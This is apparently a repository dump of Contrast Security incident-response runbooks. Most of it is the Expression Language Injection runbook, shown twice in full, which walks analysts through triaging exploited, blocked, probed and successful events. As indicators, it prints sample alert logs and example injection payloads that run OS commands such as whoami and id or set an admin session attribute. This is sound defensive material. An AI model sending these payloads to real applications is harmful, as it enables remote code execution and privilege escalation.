consider taking additional steps to prevent future exploitation. 168 | 169 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 170 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 171 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 172 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 173 | 174 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 175 | 176 | \ 177 | \ 178 | Post Containment 179 | 180 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 181 | 182 | - Application name 183 | - Is app in production, development, staging, etc 184 | - Affected URL 185 | - Attack payload 186 | - Stack trace of the request 187 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 188 | - Did the same IP Address Generate Other Alerts? 189 | - Is the vulnerability being exploited by other actors? 190 | - Spike in traffic or repeated access patterns to the vulnerable URL 191 | - Correlate exploited events with any "probed" or "blocked" events 192 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 193 | 194 | \ 195 | \ 196 | [Proceed to Post-Incident Activities](#post-incident-activities) 197 | 198 | 199 | 200 | ## Exploited False Positive 201 | 202 | If the event seems to be a False Positive, consider the following options: 203 | 204 | - Ignore 205 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 206 | 207 | \ 208 | [Proceed to Post-Incident Activities](#post-incident-activities) 209 | 210 | 211 | 212 | 213 | 214 | 215 | 216 | 217 | ## Blocked True Positive 218 | 219 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 220 | 221 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 222 | 223 | If it does not appear to be a Benign True Positive, consider the following options: 224 | 225 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 226 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 227 | - Application name 228 | - Is app in production, development, staging, etc 229 | - Affected URL 230 | - payload 231 | - Stack trace of the request 232 | - Look for IOCs of further attacks in other parts/inputs of the application 233 | - Other blocked or probed events? 234 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 235 | - Ignore 236 | 237 | [Proceed to Post-Incident Activities](#post-incident-activities) 238 | 239 | 240 | 241 | ## Blocked False Positive 242 | 243 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 244 | 245 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 246 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 247 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 248 | 249 | [Proceed to Post-Incident Activities](#post-incident-activities) 250 | 251 | 252 | ## Benign True Positive 253 | 254 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 255 | 256 | - Ignore 257 | - Create Exclusion 258 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 259 | 260 | ## Post-Incident Activities 261 | 262 | - **Documentation** 263 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 264 | - **Update Documentation:** Keep security runbooks and documentation up to date. 265 | - **Communication** 266 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 267 | - **User Notification:** Notify affected users if there was a data breach. 268 | - **Review and Improve** 269 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 270 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 271 | -------------------------------------------------------------------------------- /_runbooks/expression-language-injection.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "Expression Language Injection" 4 | description: "Guide for addressing server-side code injection vulnerabilities where attackers exploit expression language evaluation to compromise application data and functionality" 5 | --- 6 | 7 | 8 | # Expression Language Injection Runbook 9 | 10 | Expression Language Injection works by taking advantage of server-side code injection vulnerabilities which occur whenever an application incorporates user-controllable data into a string that is dynamically evaluated by a code interpreter. This can lead to complete compromise of the application's data and functionality, as well as the server that is hosting the application. 11 | 12 | 13 | Example Event - Exploited outcome Expression Language Injection 14 | `Oct 22 2024 12:09:18.532-0600 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.5.4|SECURITY|The parameter message had a value that successfully exploited expression-language-injection - T(java.lang.Runtime).getRuntime().exec("whoami")|WARN|pri=expression-language-injection src=0:0:0:0:0:0:0:1 spt=8080 request=/hello requestMethod=GET app=webapplication outcome=EXPLOITED` 15 | 16 | 17 | 18 | Example Event - Blocked outcome Expression Language Injection 19 | `Oct 22 2024 12:14:22.969-0600 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.5.4|SECURITY|The parameter message had a value that successfully exploited expression-language-injection - T(java.lang.Runtime).getRuntime().exec("whoami")|WARN|pri=expression-language-injection src=0:0:0:0:0:0:0:1 spt=8080 request=/hello requestMethod=GET app=webapplication outcome=BLOCKED` 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | - [Ineffective](#ineffective) 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | An "Exploited" outcome indicates that Contrast detected an input entering an application that resembled Expression Language Injection. It then confirmed that this input was utilized in the evaluation of the expression language. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - Does the payload contain references to Java classes or methods? 41 | - Does the payload contain os commands? 42 | - Does the payload contain template engine expressions? (e.g. ${...}, #{...}, *{...}) 43 | - Is the IP address from a pentester or known vulnerability scanner IP? 44 | - Are there application logs with template engine related error messages around the same timestamp as the event? 45 | 46 | 47 | 48 | \ 49 | Examples: 50 | 51 | - `T(java.lang.Runtime).getRuntime().exec("whoami")` 52 | - `${pageContext.request.getSession().setAttribute("admin",true)}` 53 | - `*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}` 54 | 55 | \ 56 | Does the event appear to be a true positive? (click to proceed) 57 | 58 | - [No](#exploited-false-positive) 59 | - [Yes, or unsure](#exploited-true-positive) 60 | 61 | 62 | 63 | ## Blocked 64 | 65 | A "Blocked" outcome indicates that Contrast detected an input entering an application that resembled Expression Language Injection. It then confirmed that this input was going to be evaluated by the expression language and therefore blocked it. 66 | 67 | To verify this is a true positive, review the following attributes of the event: 68 | 69 | - Does the payload contain references to Java classes or methods? 70 | - Does the payload contain os commands? 71 | - Does the payload contain template engine expressions? (e.g. ${...}, #{...}, *{...}) 72 | - Is the IP address from a pentester or known vulnerability scanner IP? 73 | - Are there application logs with template engine related error messages around the same timestamp as the event? 74 | 75 | 76 | \ 77 | Examples: 78 | 79 | - `T(java.lang.Runtime).getRuntime().exec("whoami")` 80 | - `${pageContext.request.getSession().setAttribute("admin",true)}` 81 | - `*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}` 82 | 83 | 84 | \ 85 | Is the event a true positive? (click to proceed) 86 | 87 | - [No](#blocked-false-positive) 88 | - [Yes, or unsure](#blocked-true-positive) 89 | 90 | 91 | 92 | 93 | 94 | 95 | ## Ineffective 96 | 97 | "Ineffective" means Contrast detected an input coming into an application that looked like Expression Language injection, but did not confirm that the input was used evaluated by the expression template engine. This is called a “Probe” within the Contrast UI. This event is a real attack attempt to exploit your application, but it was ineffective. Probes can indicate an attacker scanning or exploring for vulnerabilities. 98 | 99 | - Does the probe event appear to be caused by legitimate traffic and numerous similar probe events are being generated, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured to clean up Contrast data. 100 | - Is the probe originating from a specific ip[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? Consider… 101 | - Block using network appliance 102 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 103 | - Are all of the events originating from the same application user account 104 | - Determine if the account is a legitimate account 105 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 106 | - If not, consider the following options: 107 | - Ban the account 108 | - Disable the account 109 | - Delete the account 110 | 111 | \ 112 | [Proceed to Post-Incident Activities](#post-incident-activities) 113 | 114 | 115 | ## Success 116 | 117 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 118 | 119 | Generally, these events don't necessitate action because they signify the system is working correctly. 120 | 121 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 122 | 123 | - Should the event have been blocked?: 124 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 125 | - Correlate the IP address with other events to identify any attempted malicious actions. 126 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 127 | - Check if the IP is listed on any other denylists across your systems. 128 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 129 | - Correlate the event with any exploited or probed events. 130 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 131 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 132 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 133 | 134 | \ 135 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 136 | 137 | \ 138 | [Proceed to Post-Incident Activities](#post-incident-activities) 139 | 140 | 141 | ## Exploited True Positive 142 | 143 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 144 | 145 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 146 | 147 | \ 148 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 149 | 150 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 151 | - Block using network appliance 152 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 153 | - Are all of the events originating from the same application user account? 154 | - Determine if the account is a legitimate account 155 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 156 | - If not, consider the following options: 157 | - Ban the account 158 | - Disable the account 159 | - Delete the account 160 | 161 | \ 162 | \ 163 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 164 | 165 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 166 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 167 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 168 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 169 | 170 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 171 | 172 | \ 173 | \ 174 | Post Containment 175 | 176 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 177 | 178 | - Application name 179 | - Is app in production, development, staging, etc 180 | - Affected URL 181 | - Attack payload 182 | - Stack trace of the request 183 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 184 | - Did the same IP Address Generate Other Alerts? 185 | - Is the vulnerability being exploited by other actors? 186 | - Spike in traffic or repeated access patterns to the vulnerable URL 187 | - Correlate exploited events with any "probed" or "blocked" events 188 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 189 | 190 | \ 191 | \ 192 | [Proceed to Post-Incident Activities](#post-incident-activities) 193 | 194 | 195 | 196 | ## Exploited False Positive 197 | 198 | If the event seems to be a False Positive, consider the following options: 199 | 200 | - Ignore 201 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 202 | 203 | \ 204 | [Proceed to Post-Incident Activities](#post-incident-activities) 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | ## Blocked True Positive 214 | 215 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 216 | 217 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 218 | 219 | If it does not appear to be a Benign True Positive, consider the following options: 220 | 221 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 222 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 223 | - Application name 224 | - Is app in production, development, staging, etc 225 | - Affected URL 226 | - payload 227 | - Stack trace of the request 228 | - Look for IOCs of further attacks in other parts/inputs of the application 229 | - Other blocked or probed events? 230 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 231 | - Ignore 232 | 233 | [Proceed to Post-Incident Activities](#post-incident-activities) 234 | 235 | 236 | 237 | ## Blocked False Positive 238 | 239 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 240 | 241 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 242 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 243 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 244 | 245 | [Proceed to Post-Incident Activities](#post-incident-activities) 246 | 247 | 248 | ## Benign True Positive 249 | 250 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 251 | 252 | - Ignore 253 | - Create Exclusion 254 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 255 | 256 | ## Post-Incident Activities 257 | 258 | - **Documentation** 259 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 260 | - **Update Documentation:** Keep security runbooks and documentation up to date. 261 | - **Communication** 262 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 263 | - **User Notification:** Notify affected users if there was a data breach. 264 | - **Review and Improve** 265 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 266 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 267 | -------------------------------------------------------------------------------- /_incident-runbooks/expression-language-injection.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: runbook 3 | title: "Expression Language Injection" 4 | description: "Guide for addressing server-side code injection vulnerabilities where attackers exploit expression language evaluation to compromise application data and functionality" 5 | --- 6 | 7 | 8 | # Expression Language Injection Runbook 9 | 10 | Expression Language Injection works by taking advantage of server-side code injection vulnerabilities which occur whenever an application incorporates user-controllable data into a string that is dynamically evaluated by a code interpreter. This can lead to complete compromise of the application's data and functionality, as well as the server that is hosting the application. 11 | 12 | 13 | Example Event - Exploited outcome Expression Language Injection 14 | `Oct 22 2024 12:09:18.532-0600 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.5.4|SECURITY|The parameter message had a value that successfully exploited expression-language-injection - T(java.lang.Runtime).getRuntime().exec("whoami")|WARN|pri=expression-language-injection src=0:0:0:0:0:0:0:1 spt=8080 request=/hello requestMethod=GET app=webapplication outcome=EXPLOITED` 15 | 16 | 17 | 18 | Example Event - Blocked outcome Expression Language Injection 19 | `Oct 22 2024 12:14:22.969-0600 192.168.12.70 CEF:0|Contrast Security|Contrast Agent Java|6.5.4|SECURITY|The parameter message had a value that successfully exploited expression-language-injection - T(java.lang.Runtime).getRuntime().exec("whoami")|WARN|pri=expression-language-injection src=0:0:0:0:0:0:0:1 spt=8080 request=/hello requestMethod=GET app=webapplication outcome=BLOCKED` 20 | 21 | 22 | 23 | 24 | \ 25 | What is the “outcome” of the event you are triaging? (click to proceed) 26 | 27 | - [Exploited](#exploited) 28 | - [Blocked](#blocked) 29 | 30 | - [Ineffective](#ineffective) 31 | - [Success](#success) 32 | 33 | 34 | ## Exploited 35 | 36 | An "Exploited" outcome indicates that Contrast detected an input entering an application that resembled Expression Language Injection. It then confirmed that this input was utilized in the evaluation of the expression language. 37 | 38 | To verify this is a true positive, review the following attributes of the event for common indicators: 39 | 40 | - Does the payload contain references to Java classes or methods? 41 | - Does the payload contain os commands? 42 | - Does the payload contain template engine expressions? (e.g. ${...}, #{...}, *{...}) 43 | - Is the IP address from a pentester or known vulnerability scanner IP? 44 | - Are there application logs with template engine related error messages around the same timestamp as the event? 45 | 46 | 47 | 48 | \ 49 | Examples: 50 | 51 | - `T(java.lang.Runtime).getRuntime().exec("whoami")` 52 | - `${pageContext.request.getSession().setAttribute("admin",true)}` 53 | - `*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}` 54 | 55 | \ 56 | Does the event appear to be a true positive? (click to proceed) 57 | 58 | - [No](#exploited-false-positive) 59 | - [Yes, or unsure](#exploited-true-positive) 60 | 61 | 62 | 63 | ## Blocked 64 | 65 | A "Blocked" outcome indicates that Contrast detected an input entering an application that resembled Expression Language Injection. It then confirmed that this input was going to be evaluated by the expression language and therefore blocked it. 66 | 67 | To verify this is a true positive, review the following attributes of the event: 68 | 69 | - Does the payload contain references to Java classes or methods? 70 | - Does the payload contain os commands? 71 | - Does the payload contain template engine expressions? (e.g. ${...}, #{...}, *{...}) 72 | - Is the IP address from a pentester or known vulnerability scanner IP? 73 | - Are there application logs with template engine related error messages around the same timestamp as the event? 74 | 75 | 76 | \ 77 | Examples: 78 | 79 | - `T(java.lang.Runtime).getRuntime().exec("whoami")` 80 | - `${pageContext.request.getSession().setAttribute("admin",true)}` 81 | - `*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}` 82 | 83 | 84 | \ 85 | Is the event a true positive? (click to proceed) 86 | 87 | - [No](#blocked-false-positive) 88 | - [Yes, or unsure](#blocked-true-positive) 89 | 90 | 91 | 92 | 93 | 94 | 95 | ## Ineffective 96 | 97 | "Ineffective" means Contrast detected an input coming into an application that looked like Expression Language injection, but did not confirm that the input was used evaluated by the expression template engine. This is called a “Probe” within the Contrast UI. This event is a real attack attempt to exploit your application, but it was ineffective. Probes can indicate an attacker scanning or exploring for vulnerabilities. 98 | 99 | - Does the probe event appear to be caused by legitimate traffic and numerous similar probe events are being generated, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured to clean up Contrast data. 100 | - Is the probe originating from a specific ip[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? Consider… 101 | - Block using network appliance 102 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 103 | - Are all of the events originating from the same application user account 104 | - Determine if the account is a legitimate account 105 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 106 | - If not, consider the following options: 107 | - Ban the account 108 | - Disable the account 109 | - Delete the account 110 | 111 | \ 112 | [Proceed to Post-Incident Activities](#post-incident-activities) 113 | 114 | 115 | ## Success 116 | 117 | “Success" means that Contrast's security measures functioned as intended, preventing unauthorized access or potentially malicious activity from reaching the application. This could be due to a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html), [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html), or [bot block rule](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.) being triggered. 118 | 119 | Generally, these events don't necessitate action because they signify the system is working correctly. 120 | 121 | However, further investigation may be beneficial in specific scenarios to gain more insights or proactively enhance security: 122 | 123 | - Should the event have been blocked?: 124 | - If the event is from an [IP block](https://docs.contrastsecurity.com/en/block-or-allow-ips.html): 125 | - Correlate the IP address with other events to identify any attempted malicious actions. 126 | - Look up the IP address's reputation and origin to determine if it's known for malicious activity. 127 | - Check if the IP is listed on any other denylists across your systems. 128 | - If the event is from a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html): 129 | - Correlate the event with any exploited or probed events. 130 | - Confirm if the virtual patch is protecting a known vulnerability in the application. 131 | - If the event is from a [Bot Block](https://docs.contrastsecurity.com/en/server-configuration.html#:~:text=Bot%20blocking%20blocks%20traffic%20from,Events%2C%20use%20the%20filter%20options.): 132 | - Analyze the user-agent header of the HTTP request. Only requests originating from known scanning, fuzzing, or malicious user-agents should be blocked. 133 | 134 | \ 135 | If the event appears to be for legitimate traffic, an [exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) can be configured. 136 | 137 | \ 138 | [Proceed to Post-Incident Activities](#post-incident-activities) 139 | 140 | 141 | ## Exploited True Positive 142 | 143 | It is possible that the event is a True Positive, but is benign. A Benign True Positive is when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 144 | 145 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 146 | 147 | \ 148 | If it does not appear to be a Benign True Positive, the most immediate action to stop an "active" attack would be to block the current attacker of the exploited event, while further triage could result in a [virtual patch](https://docs.contrastsecurity.com/en/virtual-patches.html)/[enabling block mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) for the rule: 149 | 150 | - Is the attack originating from a specific IP[s] that is a real external IP address (not internal load balancer or network device) and not the public IP address for a large company network? 151 | - Block using network appliance 152 | - [Block using Contrast](https://docs.contrastsecurity.com/en/ip-management.html) 153 | - Are all of the events originating from the same application user account? 154 | - Determine if the account is a legitimate account 155 | - If so, attempt to help them recover the account by contacting and authenticating the legitimate user, arranging to change their credentials, and recover from any damage. 156 | - If not, consider the following options: 157 | - Ban the account 158 | - Disable the account 159 | - Delete the account 160 | 161 | \ 162 | \ 163 | Once the current attack has been stopped, consider taking additional steps to prevent future exploitation. 164 | 165 | - If the only “Exploited” events for this rule are true positives, then the rule can be [switched to “Block” mode](https://docs.contrastsecurity.com/en/set-protect-rules.html) which will prevent future exploitation. 166 | - If there are other “Exploited” events that appear to be legitimate, benign traffic, then “Block” mode would block those events as well, which could have negative impact to the application. 167 | - Before enabling “Block” mode for this situation, you must first exclude the legitimate, benign traffic being caught in the rule. 168 | - Alternatively, you can set up a [Virtual Patch](https://docs.contrastsecurity.com/en/virtual-patches.html) that only allows the legitimate, benign traffic through and any non-matches will be blocked. 169 | 170 | If none of the above options are satisfactory and it's perceived the application is at great risk, you can consider shutting down the application or removing network connectivity. 171 | 172 | \ 173 | \ 174 | Post Containment 175 | 176 | - If confirmed this is a True Positive, it should be raised with the appsec/dev teams to get fixed. Useful information for those teams would be: 177 | 178 | - Application name 179 | - Is app in production, development, staging, etc 180 | - Affected URL 181 | - Attack payload 182 | - Stack trace of the request 183 | - To better understand the extent of the incident and to ensure the attack is no longer occurring, look for other IOCs: 184 | - Did the same IP Address Generate Other Alerts? 185 | - Is the vulnerability being exploited by other actors? 186 | - Spike in traffic or repeated access patterns to the vulnerable URL 187 | - Correlate exploited events with any "probed" or "blocked" events 188 | - If the attack was able to execute commands on the server, the server may need to be considered compromised and reviewed for persistence and other lateral movement. 189 | 190 | \ 191 | \ 192 | [Proceed to Post-Incident Activities](#post-incident-activities) 193 | 194 | 195 | 196 | ## Exploited False Positive 197 | 198 | If the event seems to be a False Positive, consider the following options: 199 | 200 | - Ignore 201 | - [Create Exclusion](https://docs.contrastsecurity.com/en/application-exclusions.html) 202 | 203 | \ 204 | [Proceed to Post-Incident Activities](#post-incident-activities) 205 | 206 | 207 | 208 | 209 | 210 | 211 | 212 | 213 | ## Blocked True Positive 214 | 215 | It is possible that the event is a True Positive, but benign. A Benign True Positive is when an application’s design relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. This determination will often require the assistance of the development or application security teams. 216 | 217 | If the event appears to be a Benign True Positive, click [here](#benign-true-positive). 218 | 219 | If it does not appear to be a Benign True Positive, consider the following options: 220 | 221 | - If one IP address is generating a lot of blocked events, it's probably worthwhile to block it. 222 | - Notify Dev/Appsec team of Vulnerability. Useful information for those teams would be: 223 | - Application name 224 | - Is app in production, development, staging, etc 225 | - Affected URL 226 | - payload 227 | - Stack trace of the request 228 | - Look for IOCs of further attacks in other parts/inputs of the application 229 | - Other blocked or probed events? 230 | - Did anything show up as "exploited" indicating a different rule did not have blocking enabled? 231 | - Ignore 232 | 233 | [Proceed to Post-Incident Activities](#post-incident-activities) 234 | 235 | 236 | 237 | ## Blocked False Positive 238 | 239 | If the event seems to be a False Positive, then Contrast may be blocking legitimate usage of the application, therefore negatively impacting it. 240 | 241 | - Create an exclusion to allow the legitimate traffic through so that you can continue to be protected by “Block” mode without the negative impact. 242 | - Alternatively, you can set up a Virtual Patch that only allows legitimate traffic through and any non-matches (attack traffic) will be blocked. 243 | - If neither of the above options are satisfactory and the negative impact of the application must be avoided, you can switch the rule to “Monitor” mode. 244 | 245 | [Proceed to Post-Incident Activities](#post-incident-activities) 246 | 247 | 248 | ## Benign True Positive 249 | 250 | To review, a Benign True Positive occurs when an application relies on vulnerable behavior that could potentially be exploited, but is currently necessary for operation. Consider the following options: 251 | 252 | - Ignore 253 | - Create Exclusion 254 | - Work with the application developer on alternative implementations that do not pose such risk to the application, but meets the business needs. 255 | 256 | ## Post-Incident Activities 257 | 258 | - **Documentation** 259 | - **Incident Report:** Document the incident, including findings, raw events and alerts, actions taken, assets impacted, and lessons learned. 260 | - **Update Documentation:** Keep security runbooks and documentation up to date. 261 | - **Communication** 262 | - **Notify Stakeholders:** Inform relevant stakeholders about the incident and steps taken. 263 | - **User Notification:** Notify affected users if there was a data breach. 264 | - **Review and Improve** 265 | - **Review Response:** Conduct a post-mortem to review the response and identify improvement areas. 266 | - **Enhance Security Posture:** Implement additional security measures and improve monitoring. 267 | --------------------------------------------------------------------------------